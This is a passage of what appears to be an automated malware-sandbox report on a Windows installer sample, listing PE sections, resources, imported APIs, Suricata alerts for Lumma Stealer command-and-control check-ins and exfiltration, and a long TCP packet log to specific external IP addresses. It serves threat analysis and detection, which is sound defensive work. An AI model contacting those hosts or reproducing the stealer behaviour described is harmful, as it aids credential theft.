.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x9ab6	0x9c00	2013b11d46206ac78e9c4c3a271bf1b0	False	0.8409705528846154	data	7.238855723927407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10a000	0xfd6	0x1000	82623c80e61639ec4b59c96e40390007	False	0.5693359375	data	5.322970135524526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x100238	0x6550	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.000616903146206
RT_ICON	0x106788	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5287835638730676
RT_ICON	0x108df0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.675531914893617
RT_DIALOG	0x109258	0x100	data	English	United States	0.5234375
RT_DIALOG	0x109358	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x109474	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x1094d4	0x30	data	English	United States	0.8541666666666666
RT_VERSION	0x109504	0x2dc	data	English	United States	0.4822404371584699
RT_MANIFEST	0x1097e0	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-28T04:23:37.126694+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.166.49	443	TCP
2024-12-28T04:23:37.884018+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49741	172.67.166.49	443	TCP
2024-12-28T04:23:37.884018+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	172.67.166.49	443	TCP
2024-12-28T04:23:39.149311+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.166.49	443	TCP
2024-12-28T04:23:39.925355+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49742	172.67.166.49	443	TCP
2024-12-28T04:23:39.925355+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	172.67.166.49	443	TCP
2024-12-28T04:23:41.720271+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	172.67.166.49	443	TCP
2024-12-28T04:23:44.875784+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	172.67.166.49	443	TCP
2024-12-28T04:23:47.104716+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	172.67.166.49	443	TCP
2024-12-28T04:23:49.440206+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	172.67.166.49	443	TCP
2024-12-28T04:23:50.201311+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49746	172.67.166.49	443	TCP
2024-12-28T04:23:51.509812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	172.67.166.49	443	TCP
2024-12-28T04:23:53.752539+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49748	172.67.166.49	443	TCP
2024-12-28T04:23:54.543721+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49748	172.67.166.49	443	TCP
2024-12-28T04:23:56.436719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49749	185.161.251.21	443	TCP
2024-12-28T04:23:58.548704+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49752	104.21.37.128	443	TCP
2024-12-28T04:23:59.468950+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	104.21.37.128	443	192.168.2.4	49752	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 04:23:35.835325956 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:35.835355997 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:35.835450888 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:35.838710070 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:35.838723898 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.126555920 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.126693964 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.138195992 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.138214111 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.138422966 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.187437057 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.215444088 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.216502905 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.216530085 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.883968115 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.884047985 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.884114981 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.885493040 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.885509968 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.885519981 CET	49741	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.885524988 CET	443	49741	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.891976118 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.892062902 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:37.892174006 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.892596006 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:37.892625093 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.149216890 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.149311066 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.151015043 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.151030064 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.151273012 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.152827024 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.152884007 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.152909040 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.925340891 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.925388098 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.925420046 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.925467968 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.925496101 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.925563097 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.925579071 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.933698893 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.933757067 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.933773994 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.942055941 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.942118883 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.942136049 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:39.984328985 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:39.984348059 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.031194925 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.044858932 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.093699932 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.093718052 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.126637936 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.126692057 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.126709938 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.130275965 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.130331993 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.130347967 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.138008118 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.138082981 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.138216972 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.138246059 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.138272047 CET	49742	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.138287067 CET	443	49742	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.272361040 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.272397995 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:40.272478104 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.272804022 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:40.272819996 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:41.720166922 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:41.720271111 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:41.721534014 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:41.721540928 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:41.721739054 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:41.723356962 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:41.723524094 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:41.723555088 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:41.723618031 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:41.723623991 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:43.549694061 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:43.549767971 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:43.549927950 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:43.549999952 CET	49743	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:43.550013065 CET	443	49743	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:43.616139889 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:43.616190910 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:43.616276026 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:43.616563082 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:43.616576910 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:44.875714064 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:44.875783920 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:44.877233028 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:44.877243042 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:44.877470970 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:44.878492117 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:44.878599882 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:44.878643036 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:45.801632881 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:45.801765919 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:45.801863909 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:45.825505018 CET	49744	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:45.825525045 CET	443	49744	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:45.891762018 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:45.891793013 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:45.891889095 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:45.892174006 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:45.892188072 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:47.104600906 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:47.104716063 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:47.106003046 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:47.106010914 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:47.106230974 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:47.107358932 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:47.107487917 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:47.107518911 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:47.107577085 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:47.107585907 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:48.077477932 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:48.077580929 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:48.077683926 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:48.077856064 CET	49745	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:48.077872992 CET	443	49745	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:48.227794886 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:48.227847099 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:48.227921963 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:48.228207111 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:48.228224993 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:49.440119028 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:49.440206051 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:49.444276094 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:49.444291115 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:49.444581985 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:49.447699070 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:49.447957039 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:49.447971106 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:50.201253891 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:50.201354027 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:50.201443911 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:50.201884031 CET	49746	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:50.201903105 CET	443	49746	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:50.249555111 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:50.249583960 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:50.249670982 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:50.249984980 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:50.250000954 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:51.509737968 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:51.509812117 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:51.510921955 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:51.510931969 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:51.511172056 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:51.512214899 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:51.512343884 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:51.512350082 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:52.470441103 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:52.470762968 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:52.470823050 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:52.470946074 CET	49747	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:52.470963955 CET	443	49747	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:52.472713947 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:52.472763062 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:52.472836971 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:52.473069906 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:52.473088026 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:53.752437115 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:53.752538919 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:53.753727913 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:53.753742933 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:53.753966093 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:53.755036116 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:53.755059958 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:53.755116940 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:54.543705940 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:54.543793917 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:54.543843031 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:54.544361115 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:54.544379950 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:54.544392109 CET	49748	443	192.168.2.4	172.67.166.49
Dec 28, 2024 04:23:54.544397116 CET	443	49748	172.67.166.49	192.168.2.4
Dec 28, 2024 04:23:55.046616077 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:55.046681881 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:55.046756983 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:55.048114061 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:55.048141003 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:56.436633110 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:56.436718941 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:56.438442945 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:56.438460112 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:56.439238071 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:56.440359116 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:56.487360001 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:56.949832916 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:56.949894905 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:56.949942112 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:56.950120926 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:56.950135946 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:56.950149059 CET	49749	443	192.168.2.4	185.161.251.21
Dec 28, 2024 04:23:56.950155973 CET	443	49749	185.161.251.21	192.168.2.4
Dec 28, 2024 04:23:57.286780119 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:57.286827087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:57.286906958 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:57.287264109 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:57.287277937 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:58.548624039 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:58.548703909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:58.550281048 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:58.550291061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:58.550520897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:58.551635981 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:58.595334053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.186263084 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.186340094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.186376095 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.186379910 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.186407089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.186446905 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.194478035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.202897072 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.202954054 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.202960968 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.211306095 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.211349964 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.211358070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.265558004 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.265568018 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.309822083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.310018063 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.310024977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.359333992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.387497902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.391742945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.391794920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.391802073 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.400038958 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.400090933 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.400096893 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.408466101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.408516884 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.408523083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.425143003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.425187111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.425194979 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.433568954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.433612108 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.433618069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.441993952 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.442040920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.442045927 CET	443	49752	104.21.37.128	192.168.2.4
